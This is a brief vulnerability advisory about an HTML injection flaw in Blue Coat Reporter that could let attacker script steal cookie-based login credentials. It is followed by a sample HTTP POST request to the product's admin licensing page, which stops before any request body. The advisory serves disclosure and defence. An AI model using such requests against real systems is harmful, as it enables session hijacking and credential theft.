source: https://www.securityfocus.com/bid/13725/info

Blue Coat Reporter is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

The vendor has addressed this issue in the upcoming version 7.1.2 of the application; earlier versions are reported vulnerable. 

POST
/?dp+templates.admin.authentication.licensing_view+volatile.admin_gui+true
HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
application/x-shockwave-flash, */*
Referer:
http://www.example.com:8987/?dp+templates.admin.authentication.licensing_view+volatile.admin_gui+true
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com:8987
Pragma: no-cache
Cookie: session_id=invalid; authusername7=invalid; authpassword7=invalid
Content-Length: 100